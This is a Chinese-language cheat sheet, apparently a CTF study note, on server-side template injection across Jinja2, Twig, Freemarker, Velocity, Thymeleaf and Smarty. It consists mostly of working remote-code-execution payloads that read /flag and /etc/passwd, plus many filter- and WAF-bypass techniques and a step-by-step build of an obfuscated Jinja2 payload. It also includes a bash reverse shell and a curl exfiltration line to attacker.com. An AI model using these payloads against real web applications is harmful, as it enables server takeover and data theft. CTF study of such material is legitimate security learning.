参考文章
SSTI
python中的flask, php的thinkphp, java的spring等采用MVC的模式的框架, 如果处理用户输入存在问题, 就会导致SSTI
服务端接收攻击者的恶意输入以后, 未经任何处理就将其作为 Web 应用模板内容的一部分, 模板引擎在进行目标编译渲染的过程中, 执行了攻击者插入的语句
判断漏洞
未过滤
// 看Flask框架基本上会有SSTI, 如果输出49则证明有漏洞
{{7*7}}过滤
// 双花括号被过滤, 用{%%}
{%print 123%}
// 数字被过滤, 通过if条件来判断: {%if 条件%}result{%endif%}
{%if not a%}yes{%endif%}
// 数字被过滤, 构造payload先获取数字然后将数字变为乘法运算
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
// 部分关键词被过滤, 例如:
{%set popen=dict(popen=a)|join%}
// 换成
{%set pp=dict(po=a,pen=b)|join%}如果if的条件正确, 就会输出result, 否则输出空 观察页面是否输出yes, 如果输出yes, 则代表有漏洞, 其中, 语句中的a默认是false, 前>面加一个not就是true
获取数字
先测试是否数字被过滤,如无过滤跳过这一步
?name={%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%print (one,two,three,four,five,six,seven,eight,nine)%}
常见漏洞链
仅做了解, 大部分题目为Python和Java, 暂时仅讲解Python, Java单独新开一个
- Jinja2 (Python)
{{().__class__.__bases__[0].__subclasses__()[X].__init__.__globals__['os'].popen('id').read()}}
{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}
{{request.__class__.__mro__[1].__subclasses__()[X]('whoami',shell=True,stdout=-1).communicate()}}
{{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['sys'].modules['os'].popen('ls').read()}}
{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}- Twig (PHP)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("cat /flag")}}
{{['id']|filter('system')}}
{{['cat /etc/passwd']|filter('system')}}- Freemarker (Java)
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
<#assign ex="freemarker.template.utility.ObjectConstructor"?new()>${ ex("java.lang.ProcessBuilder","whoami").start() }
${"freemarker.template.utility.JythonRuntime"?new()>"__import__('os').system('id')"}- Velocity (Java)
#set($x=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
#set($input=$class.inspect("java.lang.Process").type.getInputStream())
#set($sc=$class.inspect("java.util.Scanner"))
#set($constructor=$sc.getConstructor($class.inspect("java.io.InputStream")))
#set($scan=$constructor.newInstance($x.getInputStream()))
$scan.nextLine()- Thymeleaf (Spring)
${T(java.lang.Runtime).getRuntime().exec('whoami')}
${#ctx.getVariable('T(java.lang.Runtime)').getRuntime().exec('id')}
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}- Smarty (PHP)
{php}echo `id`;{/php}
{system('cat /flag')}
{if phpinfo()}{/if}过滤
过滤点
可以通过中括号获取属性
''.__class__ = ''['__class__']过滤中括号
如果同时过滤了点, 用|attr过滤器
''.__class__ = ''|attr('__class__')魔法方法
还可以用魔法方法: __getattribute__来获取属性,__getitem__来获取字典中的键值
''.__class__ = ''.__getattribute__('__class__')
url_for.__globals__['__builtins__'] == url_for.__globals__.__getitem__('__builtins__')
#__globals__返回的是字典, 另外__builtins__也是url_for
url_for是Flask中一个特殊的方法, 模板注入中可用于命令执行
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}
#类似的还有
get_flashed_messages.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")
lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")
# 另外还有,lipsum.__globals__含有os模块:
{{lipsum.__globals__['os'].popen('ls').read()}}
# 别人发现的
{{get_flashed_messages.__globals__['os'].popen('dir').read()}}
{{url_for.__globals__['os'].popen('dir').read()}}config
{{config}}所有设置,也可以用于获得其他东西
{{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}
{{ config.__class__.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('dir').read()")}}实际上,对于任何.__init__不带wrapper的都可以调用到__globals__,而在flask中,未定义的也不带,所以有如下payload
foobar.__class__.__init__.__globals__['__builtins__']
# 这里面有个opne函数,open("filename").read可以直接读取文件
# foobar.__class__.__init__显示的是:<function Undefined.__init__ at 0x03275658>字典
# 删除某个键值,返回值是改键值,可能删除掉东西
url_for.__globals__.pop('__builtins__')
# 得到某个键值,这个好用
url_for.__globals__.get('__builtins__')
# 和get类似
url_for.__globals__.setdefault('__builtins__')Python可以直接用点操作符拼接
{{url_for.__globals__.__builtins__}}对于中括号最常用的数组取值的功能, 我们可以利用__getitem__替代:
''.__class__.__mro__[-1] == ''.__class__.__mro__.__getitem__(-1)过滤关键字
拼接
# 或者使用过滤器 ('__clas','s__')|join
''.__class__ = ''['__cla' + 'ss__']
# 去掉也行
''.__class__ = ''['__cla''ss__']
# ~号拼接
''.__class__ = ''['__cla'~'ss__']
{%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}
{{().__class__.__bases__[0].__subclasses__()[X].__init__.__globals__['o'+'s'].popen('l'+'s').read()}}转置
# 或者使用过滤器 "__ssalc__"|reverse
''.__class__ = ''['__ssalc__'[::-1]]利用str内置方法
# 字符串的替换,还可以使用过滤器 "__claee__"|replace("ee","ss")
''['__CLASS__'.lower()]
''.__class__ == ""['__cTass__'.replace("T","l")] ==
''['X19jbGFzc19f'.decode('base64')]
# 似乎是python3的原因:'str object' has no attribute 'decode'编码绕过
# 字符串格式化
''.__class__ = ''["{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)]
# 或者使用过滤器 ""["%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)]
# 十六进制的字符绕过
''.__class__ = ''["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]
# chr函数转换, 但是需要寻找chr函数
{% set chr=url_for.__globals__['__builtins__'].chr %}
# {%set chr = x.__init__.__globals__['__builtins__'].chr%}
{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}
{{().__class__.__bases__[0].__subclasses__()[X].__init__.__globals__['os'].popen('cat /etc/passwd'.encode('rot13')).read()|rot13}}属性链遍历
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen('id').read()}}{%endif%}{%endfor%}request绕过
值得拿出来溜溜
# 新开一个路, 这条路不就没有之前那么多限制了吗
request # request.__init__.__globals__['__builtins__']
request.args.x1 # get传参
request.values.x1 # 所有参数
request.cookies # cookies参数
request.headers # 请求头参数
request.form.x1 # post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data # post传参 (Content-Type:a/b)
request.json # post传json (Content-Type: application/json)给个例子
{{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}
# 然后首部设置Cookie:x1=__builtins__;x2=__import__('os').popen('cat /flag').read()
{{""[request["args"]["class"]][request["args"]["mro"]][1][request["args"]["subclass"]]()[286][request["args"]["init"]][request["args"]["globals"]]["os"]["popen"]("ls /")["read"]()}}
# post或者get传参 class=__class__&mro=__mro__&subclass=__subclasses__&init=__init__&globals=__globals__ (适用于过滤下划线)xyctf 2025 题目 Now you see me 1
使用request.endpoint获取到当前路由的函数名, 通过切片获取字符, 然后构造request.data, 再在请求体中传入任意字符进行绕过, 最终获得任意字符
过滤单/双引号
用request或者chr()方法
# request
{{config.__class__.__init__.__globals__[request.args.os].popen(request.args.command).read()}}&os=os&command=cat /flag
# chr(): __globals__['os']['popen']('ls').read()
{%set chr = x.__init__.__globals__.get(__builtins__).chr%}
{{x.__init__.__globals__[chr(111)%2bchr(115)][chr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)](chr(108)%2bchr(115)).read()}}过滤双花括号
据我所知, 应该还有几种括号可以用, 比如{% ... %}
{%print(x|attr(request.cookies.init)|attr(request.cookies.globals)|attr(request.cookie.getitem)|attr(request.cookies.builtins)|attr(request.cookies.getitem)(request.cookies.eval)(request.cookies.command))%}
# cookie: init=__init__;globals=__globals__;getitem=__getitem__;builtins=__builtins__;eval=eval;command=__import__("os").popen("cat /flag").read()
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://ip:8080/?i=ls /').read()=='p' %}1{% endif %}
# python2 没测试过过滤小括号
没见过
无回显
# 反弹shell
{{().__class__.__bases__[0].__subclasses__()[X].__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/IP/PORT 0>&1"')}}
# DNS外带
{{().__class__.__bases__[0].__subclasses__()[X].__init__.__globals__['os'].popen('curl http://attacker.com/`whoami`')}}利用过程
你看payload感觉就像一把梭, 没事, 看看是怎么一步一步做的
构造字符
各种奇妙知识
过滤器 ()|select|string
()|select|string得到的结果是: <generator object select_or_reject at 0x十六进制数字>; 你看, 有下划线有字母, 那肯定可以构造啊
{{(()|select|string)[24]~
(()|select|string)[24]~
(()|select|string)[15]~
(()|select|string)[20]~
(()|select|string)[6]~
(()|select|string)[18]~
(()|select|string)[18]~
(()|select|string)[24]~
(()|select|string)[24]}} = "__classs__"如果过滤了中括号,还可以使用foobar|select|string|list转换为列表后,使用pop或者__getitem__来取值
dict(clas=a,s=b)|join
使用dict(cla=a,s=b)|join后,得到的是字符串”class”
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
#("_","_","init","_","_")|join() 实际上使用可以不用join后面的括号
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}dict(e=a)|join|count
当过滤数字的时候,我们可以用这种方法得到数字
dict(e=a)|join|count #1
dict(ee=a)|join|count #2构造字符获取payload步骤
先确定payload
(lipsum|attr("__globals__").get("os").popen("cat /flag").read()思路
如果数字被过滤, 获取数字
获得__globals__
-> 从lipsum|string|list中获取下划线
-> 使用pop()方法 pop方法可以根据索引值来删除列中的某个元素并将该元素返回值返回
获取os模块
-> 使用get方法
获取popen方法
-> 获取popen字段
获取flag
-> 获得chr函数, 通过chr函数来获得命令的每个字符
-> 获取__builtins__, 通过(lipsum|attr("__globals__")).get("__builtins__").get("chr")
-> 获取read, 执行shell命令
获取 pop
# 显示 pop 成功
{%set pop=dict(pop=a)|join%}
{%print pop%}查看 string 表
# _ 会在第 24 个
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)%}{%print xiahuaxian%}利用 pop 获取下划线
# 显示 _ 成功
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}{%print xiahuaxian%}获取__globals__
# 显示 __globals__ 成功
{%set pop=dict(pop=a)|join%}{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%print globals%}获取 get
# 显示 get 成功
{%set get=dict(get=a)|join%}
{%print get%}获取os模块
# 显示 <module 'os' from '/usr/local/lib/python3.8/os.py'> 成功
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%print (lipsum|attr(globals))|attr(get)(shell)%}获取popen字段
# 显示 popen 成功
{%set popen=dict(popen=a)|join%}
{%print popen%}获取popen方法
# 返回 <function popen at 0x...> 成功
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set popen=dict(popen=a)|join%}
{%print (lipsum|attr(globals))|attr(get)(shell)|attr(popen)%}获取__builtins__
# 返回 __builtins__ 成功
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%print builtins%}获取 chr 函数
# 返回 <built-in function chr> 成功
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(chr=a)|join)%}
{%print char%}拼接 shell 命令
# 返回 cat /flag 成功(此处执行命令为 cat /flag)
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(chr=a)|join)%}
{%set command=char(99)+char(97)+char(116)+char(32)+char(47)+char(102)+char(108)+char(97)+char(103)%}
{%print command%}获取read
# 返回 read 成功
{%set read=dict(read=a)|join%}
{%print read%}执行 shell ( payload )
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set popen=dict(popen=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(chr=a)|join)%}
{%set command=char(99)+char(97)+char(116)+char(32)+char(47)+char(102)+char(108)+char(97)+char(103)%}
{%set read=dict(read=a)|join%}{%print (lipsum|attr(globals))|attr(get)(shell)|attr(popen)(command)|attr(read)()%}其他方式
lipsum链
lipsum 是 Jinja2 模板引擎中的一个全局函数。它是 Flask/Jinja2 中一个常用的内置函数,主要用于生成占位文本(Lorem Ipsum)
正常用法如下:
{# 在正常模板中使用 #}
{{ lipsum() }} {# 生成随机 Lorem Ipsum 文本 #}
{{ lipsum(3) }} {# 生成3段文本 #}
而能在ssti中利用lipsum的原因, 它是一个函数对象,具有 __globals__ 属性,可以用于访问 Python 内置模块, 而且Flask应用默认启用
{# 基本利用链 #}
{{ lipsum.__globals__ }}
{{ lipsum.__globals__.os }}
{{ lipsum.__globals__.__builtins__ }}
{# 完整命令执行链 #}
{{ lipsum.__globals__.__builtins__.__import__('os').popen('id').read() }}
{{ lipsum.__globals__.__builtins__.__import__('os').system('whoami') }}
{# 如果global中已经有os了就直接用 #}
{{ lipsum.__globals__.__getitem__('os').popen('id').read() }}
{{ lipsum.__globals__.get('os').popen('id').read() }}
因为
__globals__返回的是字典,所以可以使用get来获取值而不用__getitem__
lipsum的好处是它可以使用attr过滤器来绕过.和[]被过滤的情况
{{ lipsum|attr("__globals__")|attr("__builtins__")|attr("__import__")("os")|attr("popen")("id")|attr("read")() }}
结合编码可以绕过大多数的waf, 比如这个:
{# {{ lipsum.__globals__.get('os').popen('ls').read() }} #}
{%print(lipsum|attr("%c%c%c%c%c%c%c%c%c%c%c"%(95,95,103,108,111,98,97,108,115,95,95))|attr("%c%c%c"%(103,101,116))("os"))|attr("%c%c%c%c%c"%(112,111,112,101,110))("ls")|attr("%c%c%c%c"%(114,101,97,100))()%}
还有其他类似的Flask/Jinja2全局对象, 比如dict对象, range函数, cycler函数, joiner函数, namespace函数, 他们都有__init__.__globals__.__builtins__, 都可以试试
{{ dict.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
{{ dict.__base__.__subclasses__()[X].__init__.__globals__['os'].popen('ls').read() }}